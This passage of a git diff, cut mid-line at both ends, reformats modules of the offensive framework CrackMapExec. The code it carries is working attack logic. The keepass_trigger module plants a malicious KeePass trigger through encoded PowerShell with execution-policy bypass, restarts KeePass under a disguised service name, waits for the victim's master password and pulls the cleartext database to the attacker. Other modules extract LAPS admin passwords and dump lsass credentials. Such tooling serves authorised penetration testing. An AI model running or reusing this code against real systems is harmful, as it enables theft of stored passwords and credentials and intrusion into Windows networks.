Computer Only)" - ) + context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled: Computer Only)") return if aie_user_value == 0: - context.log.highlight( - "AlwaysInstallElevated Status: 1 (Enabled: Computer Only)" - ) + context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled: Computer Only)") else: context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled)") finally: try: remote_ops.finish() except scmr.DCERPCSessionError as e: - context.log.debug( - f"Received SessionError while attempting to clean up logins: {e}" - ) + context.log.debug(f"Received SessionError while attempting to clean up logins: {e}") except Exception as e: - context.log.debug( - f"Received general exception while attempting to clean up logins: {e}" - ) + context.log.debug(f"Received general exception while attempting to clean up logins: {e}") diff --git a/cme/modules/keepass_discover.py b/cme/modules/keepass_discover.py index b3d894cd..4deddaaf 100644 --- a/cme/modules/keepass_discover.py +++ b/cme/modules/keepass_discover.py @@ -40,12 +40,8 @@ class CMEModule: if self.search_type == "ALL" or self.search_type == "PROCESS": # search for keepass process search_keepass_process_command_str = 'powershell.exe "Get-Process kee* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"' - search_keepass_process_output_csv = connection.execute( - search_keepass_process_command_str, True - ) # we return the powershell command as a CSV for easier column parsing - csv_reader = reader( - search_keepass_process_output_csv.split("\n"), delimiter="," - ) + search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) # we return the powershell command as a CSV for easier column parsing + csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",") next(csv_reader) # to skip the csv header line row_number = 0 # as csv_reader is an iterator we can't get its length without exhausting it for row in csv_reader: @@ -65,15 +61,9 @@ class CMEModule: # search for keepass-related files if self.search_type == "ALL" or self.search_type == "FILES": - search_keepass_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format( - self.search_path - ) - search_keepass_files_cmd = 'powershell.exe "{}"'.format( - search_keepass_files_payload - ) - search_keepass_files_output = connection.execute( - search_keepass_files_cmd, True - ).split("\r\n") + search_keepass_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) + search_keepass_files_cmd = 'powershell.exe "{}"'.format(search_keepass_files_payload) + search_keepass_files_output = connection.execute(search_keepass_files_cmd, True).split("\r\n") found = False found_xml = False for file in search_keepass_files_output: diff --git a/cme/modules/keepass_trigger.py b/cme/modules/keepass_trigger.py index b8459ee1..f20314be 100644 --- a/cme/modules/keepass_trigger.py +++ b/cme/modules/keepass_trigger.py @@ -20,9 +20,7 @@ class CMEModule: """ name = "keepass_trigger" - description = ( - "Set up a malicious KeePass trigger to export the database in cleartext." - ) + description = "Set up a malicious KeePass trigger to export the database in cleartext." supported_protocols = ["smb"] # while the module only executes legit powershell commands on the target (search and edit files) # some EDR like Trend Micro flag base64-encoded powershell as malicious @@ -42,27 +40,19 @@ class CMEModule: # additional parameters self.share = "C$" self.remote_temp_script_path = "C:\\Windows\\Temp\\temp.ps1" - self.keepass_binary_path = ( - "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe" - ) + self.keepass_binary_path = "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe" self.local_export_path = "/tmp" self.trigger_name = "export_database" self.poll_frequency_seconds = 5 self.dummy_service_name = "OneDrive Sync KeePass" - with open( - get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1"), "r" - ) as remove_trigger_script_file: + with open(get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1"), "r") as remove_trigger_script_file: self.remove_trigger_script_str = remove_trigger_script_file.read() - with open( - get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1"), "r" - ) as add_trigger_script_file: + with open(get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1"), "r") as add_trigger_script_file: self.add_trigger_script_str = add_trigger_script_file.read() - with open( - get_ps_script("keepass_trigger_module/RestartKeePass.ps1"), "r" - ) as restart_keepass_script_file: + with open(get_ps_script("keepass_trigger_module/RestartKeePass.ps1"), "r") as restart_keepass_script_file: self.restart_keepass_script_str = restart_keepass_script_file.read() def options(self, context, module_options): @@ -107,16 +97,12 @@ class CMEModule: "CLEAN", "ALL", ]: - context.log.fail( - "Unrecognized action, use --options to list available parameters" - ) + context.log.fail("Unrecognized action, use --options to list available parameters") exit(1) else: self.action = module_options["ACTION"] else: - context.log.fail( - "Missing ACTION option, use --options to list available parameters" - ) + context.log.fail("Missing ACTION option, use --options to list available parameters") exit(1) if "KEEPASS_CONFIG_PATH" in module_options: @@ -133,9 +119,7 @@ class CMEModule: if "PSH_EXEC_METHOD" in module_options: if module_options["PSH_EXEC_METHOD"] not in ["ENCODE", "PS1"]: - context.log.fail( - "Unrecognized powershell execution method, use --options to list available parameters" - ) + context.log.fail("Unrecognized powershell execution method, use --options to list available parameters") exit(1) else: self.powershell_exec_method = module_options["PSH_EXEC_METHOD"] @@ -160,54 +144,34 @@ class CMEModule: # check if the specified KeePass configuration file exists if self.trigger_added(context, connection): - context.log.display( - f"The specified configuration file {self.keepass_config_path} already contains a trigger called '{self.trigger_name}', skipping" - ) + context.log.display(f"The specified configuration file {self.keepass_config_path} already contains a trigger called '{self.trigger_name}', skipping") return - context.log.display( - f"Adding trigger '{self.trigger_name}' to '{self.keepass_config_path}'" - ) + context.log.display(f"Adding trigger '{self.trigger_name}' to '{self.keepass_config_path}'") # prepare the trigger addition script based on user-specified parameters (e.g: trigger name, etc) # see data/keepass_trigger_module/AddKeePassTrigger.ps1 for the full script - self.add_trigger_script_str = self.add_trigger_script_str.replace( - "REPLACE_ME_ExportPath", self.export_path - ) - self.add_trigger_script_str = self.add_trigger_script_str.replace( - "REPLACE_ME_ExportName", self.export_name - ) - self.add_trigger_script_str = self.add_trigger_script_str.replace( - "REPLACE_ME_TriggerName", self.trigger_name - ) - self.add_trigger_script_str = self.add_trigger_script_str.replace( - "REPLACE_ME_KeePassXMLPath", self.keepass_config_path - ) + self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_ExportPath", self.export_path) + self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_ExportName", self.export_name) + self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_TriggerName", self.trigger_name) + self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_KeePassXMLPath", self.keepass_config_path) # add the malicious trigger to the remote KeePass configuration file if self.powershell_exec_method == "ENCODE": - add_trigger_script_b64 = b64encode( - self.add_trigger_script_str.encode("UTF-16LE") - ).decode("utf-8") + add_trigger_script_b64 = b64encode(self.add_trigger_script_str.encode("UTF-16LE")).decode("utf-8") add_trigger_script_cmd = f"powershell.exe -e {add_trigger_script_b64}" connection.execute(add_trigger_script_cmd) - sleep( - 2 - ) # as I noticed some delay may happen with the encoded powershell command execution + sleep(2) # as I noticed some delay may happen with the encoded powershell command execution elif self.powershell_exec_method == "PS1": try: - self.put_file_execute_delete( - context, connection, self.add_trigger_script_str - ) + self.put_file_execute_delete(context, connection, self.add_trigger_script_str) except Exception as e: context.log.fail(f"Error while adding malicious trigger to file: {e}") sys.exit(1) # checks if the malicious trigger was effectively added to the specified KeePass configuration file if self.trigger_added(context, connection): - context.log.success( - f"Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files" - ) + context.log.success(f"Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files") else: context.log.fail(f"Unknown error when adding malicious trigger to file") sys.exit(1) @@ -216,13 +180,9 @@ class CMEModule: """check if the trigger is added to the config file XML tree""" if self.trigger_added(context, connection): - context.log.display( - f"Malicious trigger '{self.trigger_name}' found in '{self.keepass_config_path}'" - ) + context.log.display(f"Malicious trigger '{self.trigger_name}' found in '{self.keepass_config_path}'") else: - context.log.display( - f"No trigger '{self.trigger_name}' found in '{self.keepass_config_path}'" - ) + context.log.display(f"No trigger '{self.trigger_name}' found in '{self.keepass_config_path}'") def restart(self, context, connection): """Force the restart of KeePass process using a Windows service defined using the powershell script RestartKeePass.ps1 @@ -231,13 +191,9 @@ class CMEModule: # search for keepass processes search_keepass_process_command_str = 'powershell.exe "Get-Process keepass* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"' - search_keepass_process_output_csv = connection.execute( - search_keepass_process_command_str, True - ) + search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) # we return the powershell command as a CSV for easier column parsing - csv_reader = reader( - search_keepass_process_output_csv.split("\n"), delimiter="," - ) + csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",") next(csv_reader) # to skip the header line keepass_process_list = list(csv_reader) # check if multiple processes belonging to different users are running (in order to choose which one to restart) @@ -249,64 +205,40 @@ class CMEModule: return elif len(keepass_users) == 1: # if there is only 1 KeePass process running # if KEEPASS_USER option is specified then we check if the user matches - if self.keepass_user and ( - keepass_users[0] != self.keepass_user - and keepass_users[0].split("\\")[1] != self.keepass_user - ): - context.log.fail( - f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart" - ) + if self.keepass_user and (keepass_users[0] != self.keepass_user and keepass_users[0].split("\\")[1] != self.keepass_user): + context.log.fail(f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart") return else: self.keepass_user = keepass_users[0] elif len(keepass_users) > 1 and self.keepass_user: found_user = False # we search through every KeePass process owner for the specified user for user in keepass_users: - if ( - user == self.keepass_user - or user.split("\\")[1] == self.keepass_user - ): + if user == self.keepass_user or user.split("\\")[1] == self.keepass_user: self.keepass_user = keepass_users[0] found_user = True if not found_user: - context.log.fail( - f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart" - ) + context.log.fail(f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart") return else: - context.log.fail( - "Multiple KeePass processes were found, please specify parameter USER to target one" - ) + context.log.fail("Multiple KeePass processes were found, please specify parameter USER to target one") return context.log.display("Restarting {}'s KeePass process".format(keepass_users[0])) # prepare the restarting script based on user-specified parameters (e.g: keepass user, etc) # see data/keepass_trigger_module/RestartKeePass.ps1 - self.restart_keepass_script_str = self.restart_keepass_script_str.replace( - "REPLACE_ME_KeePassUser", self.keepass_user - ) - self.restart_keepass_script_str = self.restart_keepass_script_str.replace( - "REPLACE_ME_KeePassBinaryPath", self.keepass_binary_path - ) - self.restart_keepass_script_str = self.restart_keepass_script_str.replace( - "REPLACE_ME_DummyServiceName", self.dummy_service_name - ) + self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_KeePassUser", self.keepass_user) + self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_KeePassBinaryPath", self.keepass_binary_path) + self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_DummyServiceName", self.dummy_service_name) # actually performs the restart on the remote target if self.powershell_exec_method == "ENCODE": - restart_keepass_script_b64 = b64encode( - self.restart_keepass_script_str.encode("UTF-16LE") - ).decode("utf-8") - restart_keepass_script_cmd = "powershell.exe -e {}".format( - restart_keepass_script_b64 - ) + restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode("UTF-16LE")).decode("utf-8") + restart_keepass_script_cmd = "powershell.exe -e {}".format(restart_keepass_script_b64) connection.execute(restart_keepass_script_cmd) elif self.powershell_exec_method == "PS1": try: - self.put_file_execute_delete( - context, connection, self.restart_keepass_script_str - ) + self.put_file_execute_delete(context, connection, self.restart_keepass_script_str) except Exception as e: context.log.fail("Error while restarting KeePass: {}".format(e)) return @@ -315,28 +247,18 @@ class CMEModule: """Search for the cleartext database export file in the specified export folder (until found, or manually exited by the user)""" found = False - context.log.display( - f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient" - ) - context.log.display( - "we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything" - ) + context.log.display(f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient") + context.log.display("we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything") # if the specified path is %APPDATA%, we need to check in every user's folder if self.export_path == "%APPDATA%" or self.export_path == "%appdata%": - poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format( - self.export_name - ) + poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name) else: export_full_path = f"'{self.export_path}\\{self.export_name}'" - poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format( - export_full_path, export_full_path - ) + poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path) # we poll every X seconds until the export path is found on the remote machine while not found: - poll_exports_command_output = connection.execute( - poll_export_command_str, True - ) + poll_exports_command_output = connection.execute(poll_export_command_str, True) if self.export_name not in poll_exports_command_output: print(".", end="", flush=True) sleep(self.poll_frequency_seconds) @@ -346,119 +268,73 @@ class CMEModule: # once a database is found, downloads it to the attackers machine context.log.success("Found database export !") # in case multiple exports found (may happen if several users exported the database to their APPDATA) - for count, export_path in enumerate( - poll_exports_command_output.split("\r\n") - ): + for count, export_path in enumerate(poll_exports_command_output.split("\r\n")): try: buffer = BytesIO() - connection.conn.getFile( - self.share, export_path.split(":")[1], buffer.write - ) + connection.conn.getFile(self.share, export_path.split(":")[1], buffer.write) # if multiple exports found, add a number at the end of local path to prevent override if count > 0: - local_full_path = ( - self.local_export_path - + "/" - + self.export_name.split(".")[0] - + "_" - + str(count) - + "." - + self.export_name.split(".")[1] - ) + local_full_path = self.local_export_path + "/" + self.export_name.split(".")[0] + "_" + str(count) + "." + self.export_name.split(".")[1] else: - local_full_path = ( - self.local_export_path + "/" + self.export_name - ) + local_full_path = self.local_export_path + "/" + self.export_name # downloads the exported database with open(local_full_path, "wb") as f: f.write(buffer.getbuffer()) - remove_export_command_str = "powershell.exe Remove-Item {}".format( - export_path - ) + remove_export_command_str = "powershell.exe Remove-Item {}".format(export_path) connection.execute(remove_export_command_str, True) - context.log.success( - 'Moved remote "{}" to local "{}"'.format( - export_path, local_full_path - ) - ) + context.log.success('Moved remote "{}" to local "{}"'.format(export_path, local_full_path)) found = True except Exception as e: - context.log.fail( - "Error while polling export files, exiting : {}".format(e) - ) + context.log.fail("Error while polling export files, exiting : {}".format(e)) def clean(self, context, connection): """Checks for database export + malicious trigger on the remote host, removes everything""" # if the specified path is %APPDATA%, we need to check in every user's folder if self.export_path == "%APPDATA%" or self.export_path == "%appdata%": - poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format( - self.export_name - ) + poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name) else: export_full_path = f"'{self.export_path}\\{self.export_name}'" - poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format( - export_full_path, export_full_path - ) + poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path) poll_export_command_output = connection.execute(poll_export_command_str, True) # deletes every export found on the remote machine if self.export_name in poll_export_command_output: # in case multiple exports found (may happen if several users exported the database to their APPDATA) for export_path in poll_export_command_output.split("\r\n"): - context.log.display( - f"Database export found in '{export_path}', removing" - ) + context.log.display(f"Database export found in '{export_path}', removing") remove_export_command_str = f"powershell.exe Remove-Item {export_path}" connection.execute(remove_export_command_str, True) else: - context.log.display( - f"No export found in {self.export_path} , everything is cleaned" - ) + context.log.display(f"No export found in {self.export_path} , everything is cleaned") # if the malicious trigger was not self-deleted, deletes it if self.trigger_added(context, connection): # prepare the trigger deletion script based on user-specified parameters (e.g: trigger name, etc) # see data/keepass_trigger_module/RemoveKeePassTrigger.ps1 - self.remove_trigger_script_str = self.remove_trigger_script_str.replace( - "REPLACE_ME_KeePassXMLPath", self.keepass_config_path - ) - self.remove_trigger_script_str = self.remove_trigger_script_str.replace( - "REPLACE_ME_TriggerName", self.trigger_name - ) + self.remove_trigger_script_str = self.remove_trigger_script_str.replace("REPLACE_ME_KeePassXMLPath", self.keepass_config_path) + self.remove_trigger_script_str = self.remove_trigger_script_str.replace("REPLACE_ME_TriggerName", self.trigger_name) # actually performs trigger deletion if self.powershell_exec_method == "ENCODE": - remove_trigger_script_b64 = b64encode( - self.remove_trigger_script_str.encode("UTF-16LE") - ).decode("utf-8") - remove_trigger_script_command_str = ( - f"powershell.exe -e {remove_trigger_script_b64}" - ) + remove_trigger_script_b64 = b64encode(self.remove_trigger_script_str.encode("UTF-16LE")).decode("utf-8") + remove_trigger_script_command_str = f"powershell.exe -e {remove_trigger_script_b64}" connection.execute(remove_trigger_script_command_str, True) elif self.powershell_exec_method == "PS1": try: - self.put_file_execute_delete( - context, connection, self.remove_trigger_script_str - ) + self.put_file_execute_delete(context, connection, self.remove_trigger_script_str) except Exception as e: context.log.fail(f"Error while deleting trigger, exiting: {e}") sys.exit(1) # check if the specified KeePass configuration file does not contain the malicious trigger anymore if self.trigger_added(context, connection): - context.log.fail( - f"Unknown error while removing trigger '{self.trigger_name}', exiting" - ) + context.log.fail(f"Unknown error while removing trigger '{self.trigger_name}', exiting") else: - context.log.display( - f"Found trigger '{self.trigger_name}' in configuration file, removing" - ) + context.log.display(f"Found trigger '{self.trigger_name}' in configuration file, removing") else: - context.log.success( - f"No trigger '{self.trigger_name}' found in '{self.keepass_config_path}', skipping" - ) + context.log.success(f"No trigger '{self.trigger_name}' found in '{self.keepass_config_path}', skipping") def all_in_one(self, context, connection): """Performs ADD, RESTART, POLL and CLEAN actions one after the other""" @@ -484,27 +360,19 @@ class CMEModule: try: buffer = BytesIO() - connection.conn.getFile( - self.share, self.keepass_config_path.split(":")[1], buffer.write - ) + connection.conn.getFile(self.share, self.keepass_config_path.split(":")[1], buffer.write) except Exception as e: - context.log.fail( - f"Error while getting file '{self.keepass_config_path}', exiting: {e}" - ) + context.log.fail(f"Error while getting file '{self.keepass_config_path}', exiting: {e}") sys.exit(1) try: keepass_config_xml_root = ElementTree.fromstring(buffer.getvalue()) except Exception as e: - context.log.fail( - f"Error while parsing file '{self.keepass_config_path}', exiting: {e}" - ) + context.log.fail(f"Error while parsing file '{self.keepass_config_path}', exiting: {e}") sys.exit(1) # check if the specified KeePass configuration file does not already contain the malicious trigger - for trigger in keepass_config_xml_root.findall( - ".//Application/TriggerSystem/Triggers/Trigger" - ): + for trigger in keepass_config_xml_root.findall(".//Application/TriggerSystem/Triggers/Trigger"): if trigger.find("Name").text == self.trigger_name: return True @@ -513,16 +381,10 @@ class CMEModule: def put_file_execute_delete(self, context, connection, psh_script_str): """Helper to upload script to a temporary folder, run then deletes it""" script_str_io = StringIO(psh_script_str) - connection.conn.putFile( - self.share, self.remote_temp_script_path.split(":")[1], script_str_io.read - ) - script_execute_cmd = "powershell.exe -ep Bypass -F {}".format( - self.remote_temp_script_path - ) + connection.conn.putFile(self.share, self.remote_temp_script_path.split(":")[1], script_str_io.read) + script_execute_cmd = "powershell.exe -ep Bypass -F {}".format(self.remote_temp_script_path) connection.execute(script_execute_cmd, True) - remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item "{}""'.format( - self.remote_temp_script_path - ) + remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item "{}""'.format(self.remote_temp_script_path) connection.execute(remove_remote_temp_script_cmd) def extract_password(self, context): @@ -538,15 +400,9 @@ class CMEModule: for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]: for password in obj2["String"]: if password["Key"] == "Password": - context.log.highlight( - str(password["Key"]) - + " : " - + str(password["Value"]["#text"]) - ) + context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"])) else: - context.log.highlight( - str(password["Key"]) + " : " + str(password["Value"]) - ) + context.log.highlight(str(password["Key"]) + " : " + str(password["Value"])) context.log.highlight("") if len(obj["KeePassFile"]["Root"]["Group"]["Group"]): for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]: @@ -554,17 +410,9 @@ class CMEModule: for obj3 in obj2["Entry"]: for password in obj3["String"]: if password["Key"] == "Password": - context.log.highlight( - str(password["Key"]) - + " : " - + str(password["Value"]["#text"]) - ) + context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"])) else: - context.log.highlight( - str(password["Key"]) - + " : " - + str(password["Value"]) - ) + context.log.highlight(str(password["Key"]) + " : " + str(password["Value"])) context.log.highlight("") except KeyError: pass diff --git a/cme/modules/laps.py b/cme/modules/laps.py index 6bb49735..4329f771 100644 --- a/cme/modules/laps.py +++ b/cme/modules/laps.py @@ -33,11 +33,7 @@ class CMEModule: def on_login(self, context, connection): context.log.display("Getting LAPS Passwords") if self.computer is not None: - searchFilter = ( - "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" - + self.computer - + "))" - ) + searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.computer + "))" else: searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))" attributes = [ @@ -47,46 +43,27 @@ class CMEModule: "sAMAccountName", ] results = connection.search(searchFilter, attributes, 0) - results = [ - r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry) - ] + results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] if len(results) != 0: laps_computers = [] for computer in results: msMCSAdmPwd = "" sAMAccountName = "" - values = { - str(attr["type"]).lower(): str(attr["vals"][0]) - for attr in computer["attributes"] - } + values = {str(attr["type"]).lower(): str(attr["vals"][0]) for attr in computer["attributes"]} if "mslaps-encryptedpassword" in values: - context.log.fail( - "LAPS password is encrypted and currently CrackMapExec doesn't" - " support the decryption..." - ) + context.log.fail("LAPS password is encrypted and currently CrackMapExec doesn't" " support the decryption...") return elif "mslaps-password" in values: r = json.loads(values["mslaps-password"]) laps_computers.append((values["samaccountname"], r["n"], r["p"])) elif "ms-mcs-admpwd" in values: - laps_computers.append( - (values["samaccountname"], "", values["ms-mcs-admpwd"]) - ) + laps_computers.append((values["samaccountname"], "", values["ms-mcs-admpwd"])) else: - context.log.fail( - "No result found with attribute ms-MCS-AdmPwd or" - " msLAPS-Password" - ) + context.log.fail("No result found with attribute ms-MCS-AdmPwd or" " msLAPS-Password") laps_computers = sorted(laps_computers, key=lambda x: x[0]) for sAMAccountName, user, msMCSAdmPwd in laps_computers: - context.log.highlight( - "Computer: {:<20} User: {:<15} Password: {}".format( - sAMAccountName, user, msMCSAdmPwd - ) - ) + context.log.highlight("Computer: {:<20} User: {:<15} Password: {}".format(sAMAccountName, user, msMCSAdmPwd)) else: - context.log.fail( - "No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !" - ) + context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !") diff --git a/cme/modules/ldap-checker.py b/cme/modules/ldap-checker.py index 94d2bb36..501151c7 100644 --- a/cme/modules/ldap-checker.py +++ b/cme/modules/ldap-checker.py @@ -22,9 +22,7 @@ class CMEModule: """ name = "ldap-checker" - description = ( - "Checks whether LDAP signing and binding are required and / or enforced" - ) + description = "Checks whether LDAP signing and binding are required and / or enforced" supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = True @@ -53,9 +51,7 @@ class CMEModule: def run_ldaps_noEPA(inputUser, inputPassword, dcTarget): try: tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2) - ldapServer = ldap3.Server( - dcTarget, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls - ) + ldapServer = ldap3.Server(dcTarget, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls) ldapConn = ldap3.Connection( ldapServer, user=inputUser, @@ -75,10 +71,7 @@ class CMEModule: exit() except Exception as e: context.log.fail("\n [!] " + dcTarget + " -", str(e)) - context.log.fail( - " * Ensure DNS is resolving properly, and that you can reach" - " LDAPS on this host" - ) + context.log.fail(" * Ensure DNS is resolving properly, and that you can reach" " LDAPS on this host") # Conduct a bind to LDAPS with channel binding supported # but intentionally miscalculated. In the case that and @@ -147,9 +140,7 @@ class CMEModule: ssl_sock.close() return False else: - context.log.fail( - "Unexpected error during LDAPS handshake: " + str(e) - ) + context.log.fail("Unexpected error during LDAPS handshake: " + str(e)) ssl_sock.close() return False @@ -157,9 +148,7 @@ class CMEModule: # requirements are enforced based on potential errors # during the bind attempt. def run_ldap(inputUser, inputPassword, dcTarget): - ldapServer = ldap3.Server( - dcTarget, use_ssl=False, port=389, get_info=ldap3.ALL - ) + ldapServer = ldap3.Server(dcTarget, use_ssl=False, port=389, get_info=ldap3.ALL) ldapConn = ldap3.Connection( ldapServer, user=inputUser, @@ -176,9 +165,7 @@ class CMEModule: context.log.debug("UNEXPECTED ERROR: " + str(ldapConn.result)) else: # LDAPS bind successful - return ( - False # because LDAP server signing requirements are not enforced - ) + return False # because LDAP server signing requirements are not enforced exit() # Run trough all our code blocks to determine LDAP signing and channel binding settings. @@ -190,23 +177,11 @@ class CMEModule: elif ldapIsProtected == True: context.log.fail("LDAP Signing IS Enforced") if DoesLdapsCompleteHandshake(dcTarget) == True: - ldapsChannelBindingAlwaysCheck = run_ldaps_noEPA( - inputUser, inputPassword, dcTarget - ) - ldapsChannelBindingWhenSupportedCheck = asyncio.run( - run_ldaps_withEPA(inputUser, inputPassword, dcTarget) - ) - if ( - ldapsChannelBindingAlwaysCheck == False - and ldapsChannelBindingWhenSupportedCheck == True - ): - context.log.highlight( - 'LDAPS Channel Binding is set to "When Supported"' - ) - elif ( - ldapsChannelBindingAlwaysCheck == False - and ldapsChannelBindingWhenSupportedCheck == False - ): + ldapsChannelBindingAlwaysCheck = run_ldaps_noEPA(inputUser, inputPassword, dcTarget) + ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(inputUser, inputPassword, dcTarget)) + if ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == True: + context.log.highlight('LDAPS Channel Binding is set to "When Supported"') + elif ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == False: context.log.highlight('LDAPS Channel Binding is set to "NEVER"') elif ldapsChannelBindingAlwaysCheck == True: context.log.fail('LDAPS Channel Binding is set to "Required"') @@ -214,7 +189,4 @@ class CMEModule: context.log.fail("\nSomething went wrong...") exit() else: - context.log.fail( - dcTarget - + " - cannot complete TLS handshake, cert likely not configured" - ) + context.log.fail(dcTarget + " - cannot complete TLS handshake, cert likely not configured") diff --git a/cme/modules/lsassy_dump.py b/cme/modules/lsassy_dump.py index 47f73d18..4571f7a5 100644 --- a/cme/modules/lsassy_dump.py +++ b/cme/modules/lsassy_dump.py @@ -18,9 +18,7 @@ class CMEModule: name = "lsassy" description = "Dump lsass and parse the result remotely with lsassy" supported_protocols = ["smb"] - opsec_safe = ( - True # writes temporary files, and it's possible for them to not be deleted - ) + opsec_safe = True # writes temporary files, and it's possible for them to not be deleted multiple_hosts = True def __init__(self, context=None, module_options=None): @@ -85,13 +83,9 @@ class CMEModule: if deleted_file: context.log.debug(f"Deleted dumper file") else: - context.log.fail( - f"[OPSEC] No exception, but failed to delete file: {file_path}" - ) + context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}") except Exception as e: - context.log.fail( - f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}" - ) + context.log.fail(f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}") if credentials is None: credentials = [] @@ -100,13 +94,7 @@ class CMEModule: c = cred.get_object() context.log.debug(f"Cred: {c}") - credentials = [ - cred.get_object() - for cred in credentials - if cred.ticket is None - and cred.masterkey is None - and not cred.get_username().endswith("$") - ] + credentials = [cred.get_object() for cred in credentials if cred.ticket is None and cred.masterkey is None and not cred.get_username().endswith("$")] credentials_unique = [] credentials_output = [] context.log.debug(f"Credentials: {credentials}") @@ -141,10 +129,7 @@ class CMEModule: domain = None for cred in credentials: domain = cred["domain"] - if ( - "." not in cred["domain"] - and cred["domain"].upper() in connection.domain.upper() - ): + if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper(): domain = connection.domain # slim shady self.save_credentials( context, @@ -163,9 +148,7 @@ class CMEModule: cred["lmhash"], cred["nthash"], ) - credz_bh.append( - {"username": cred["username"].upper(), "domain": domain.upper()} - ) + credz_bh.append({"username": cred["username"].upper(), "domain": domain.upper()}) add_user_bh(credz_bh, domain, context.log, connection.config) @staticmethod @@ -176,15 +159,11 @@ class CMEModule: context.log.highlight(output) @staticmethod - def save_credentials( - context, connection, domain, username, password, lmhash, nthash - ): + def save_credentials(context, connection, domain, username, password, lmhash, nthash): host_id = context.db.get_hosts(connection.host)[0][0] if 